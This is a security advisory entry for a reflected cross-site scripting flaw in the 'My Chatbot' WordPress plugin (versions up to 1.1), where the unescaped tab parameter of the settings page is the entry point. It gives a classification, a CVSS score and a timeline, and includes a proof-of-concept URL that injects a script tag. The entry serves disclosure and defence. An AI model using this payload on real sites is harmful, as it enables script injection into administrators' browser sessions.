WordPress Plugin Vulnerabilities

My Chatbot <= 1.1 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape its tab parameter in the Settings page before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/options-general.php?page=my-chatbot&tab=%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E

Affects Plugins

Plugin icon
my-chatbot
No known fix

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
8.8 (high)

Miscellaneous

Original Researcher
WPScanTeam
Verified
Yes
WPVDB ID
c0b6f63b-95d1-4782-9554-975d6d7bbd3d

Timeline

Publicly Published
2021-09-06 (about 2 years ago)
Added
2021-09-06 (about 2 years ago)
Last Updated
2021-09-06 (about 2 years ago)

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